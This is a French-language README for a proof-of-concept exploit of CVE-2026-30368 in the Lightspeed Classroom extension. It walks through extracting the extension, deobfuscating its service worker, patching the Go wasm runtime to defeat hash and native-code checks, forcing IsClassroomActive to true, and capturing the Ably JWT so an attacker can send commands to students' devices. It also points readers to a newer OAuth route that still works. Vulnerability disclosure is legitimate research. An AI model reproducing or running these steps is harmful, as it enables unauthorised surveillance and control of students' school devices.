
Preuve de concept pour CVE-2026-30368, démontrant un contournement d'authentification dans Lightspeed Classroom pour contrôler les appareils des étudiants via le canal Ably.
[!IMPORTANT]
Ceci est corrigé et nécessite désormais des identifiants, utilisez le contournement pour effectuer des actions en votre nom.
CVE-2026-30368 permet à un attaquant de contrôler les appareils des élèves via une faille d'authentification faible dans la gestion de Lightspeed Classroom. Le POC (poc.js) exécute le service worker de l'extension LS Classroom dans le contexte global. Le worker exécute également classroom.wasm pour certaines fonctions. wasm-loader.js charge le worker et extrait le jeton JWT généré par classroom.wasm. Une fois extrait, il tue le worker, puis envoie le jeton aux API Lightspeed pour recevoir un jeton utilisé pour se connecter au canal Ably de la cible. À partir de là, un attaquant pourrait envoyer une commande à l'appareil d'un élève. La liste des commandes et bien d'autres informations se trouvent dans l'analyse complète disponible ici.
[!IMPORTANT]
IMPORTANT : En raison de développements récents, aucun fichier d'extension n'est plus nécessaire pour l'exploit. Le reste du README peut être ignoré. Remplissez simplement les valeurs dans oauth-poc.js, et suivez les instructions pour le débogage à distance de Chrome. Le README sera conservé pour des raisons historiques.
Pour éviter les problèmes, je recommande d'utiliser la version 5.1.2.1763770643. Si vous avez besoin d'aide pour adapter des versions plus récentes, vous êtes livré à vous-même.
Vous pouvez obtenir les fichiers worker.js et classroom.wasm à partir du code source de l'extension Lightspeed. Celui-ci peut être obtenu en vous connectant avec votre compte scolaire sur Chrome sur un appareil personnel, puis en extrayant le code source de l'extension depuis le dossier des extensions situé dans le répertoire de votre profil Chrome. Vous pouvez également télécharger manuellement le crx via l'URL de mise à jour.
La méthode la plus simple de cet exploit consiste à obtenir d'abord classroom.wasm à partir du code source de votre extension, puis à le coller dans le même répertoire que wasm-only.js, et à exécuter :
$ node wasm-only.js
Saisissez un e-mail et un ID client lorsque cela vous est demandé. Cela se connectera au canal ably. Rendez-vous à la ligne 815 et décommentez ce que vous souhaitez pour envoyer des messages. Crédit : ktibow sur discord
Une fois que vous avez les fichiers, ajoutez-les simplement au répertoire du dépôt cloné. Vous devrez vous rendre dans wasm-loader.js, dans la fonction getManifest(), et y coller le manifeste de votre extension. Vous devrez également ajouter l'ID de l'extension à wasm-loader.js en haut du fichier.
Faites une copie de worker.js avec un nom de fichier de votre choix. Vous en aurez besoin plus tard. Vous devrez exécuter worker.js via webcrack afin de le désobfusquer et de le déminifier pour effectuer les modifications nécessaires. Lors de cette opération, assurez-vous de ne sélectionner que les options « Deobfuscate » et « Unminify ». Avant de recoller le résultat dans votre éditeur, il est recommandé de désactiver tous les serveurs LSP, car ils supprimeront des variables aléatoires et feront planter le worker lors des étapes suivantes (je te vois, vtsls...)
Étant donné que le service worker sera exécuté sur node.js (assurez-vous de l'avoir installé), il aura besoin de quelques correctifs pour fonctionner correctement. Une logique d'extraction de JWT doit également être ajoutée. Ajoutez les 2 fonctions suivantes tout en haut de worker.js :
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Ceux-ci seront utilisés lorsque nous modifierons le runtime wasm go pour intercepter et modifier les valeurs utilisées par le wasm de la classe LS.
Assurez-vous de remplacer YOUR_EXTENSION_ID par votre ID d'extension et worker_copy.js par le nom de fichier de la copie du worker.js original que vous avez créée précédemment.
Ensuite, ajoutez ces 2 fonctions à l'intérieur de la fonction fléchée principale (après le (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Ensuite, vous devez coder en dur IsClassroomActive à true afin de pouvoir l'exécuter en dehors des réseaux du campus. Modifiez simplement la fonction pour qu'elle renvoie toujours true :
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Ensuite, recherchez syscall/js.valueCall pour trouver la fonction valueCall qui doit être modifiée. C'est ce qui informe le wasm d'une valeur JS. Les 2 valeurs qui sont interceptées et modifiées en modifiant cette fonction sont le chemin de worker.js (il est remplacé par la copie de votre worker afin que la vérification du hash passe) et la valeur de chrome.identity.getProfileUserInfo.toString est modifiée pour indiquer native code afin que le WASM croie qu'elle peut être fiable alors qu'en réalité elle a été modifiée en haut du fichier. Pour ce faire, vous devez utiliser les fonctions valueCallBefore et valueCallAfter que nous avons définies en haut. Modifiez la fonction valueCall comme suit (les noms de variables varieront, mais la structure est la même) :
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Presque terminé. Enfin, vous devez ajouter du code pour capturer le JWT. Recherchez echoMessages: false et vous trouverez la variable contenant la liste des en-têtes envoyés à Ably. Juste en dessous, ajoutez cette ligne (les noms de variables ne seront très probablement pas exacts, vous pouvez trouver la même ligne accédant à ablyJwt dans authHeaders) :
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Cela affecte le JWT à une variable dans la portée globale afin que wasm-loader.js (le « harness » exécutant le service worker) puisse y accéder. Ceci conclut la modification du worker. Assurez-vous que tous vos LSP sont toujours désactivés. S'ils se sont réactivés, vous pourriez rencontrer des problèmes avec des variables non définies par la suite.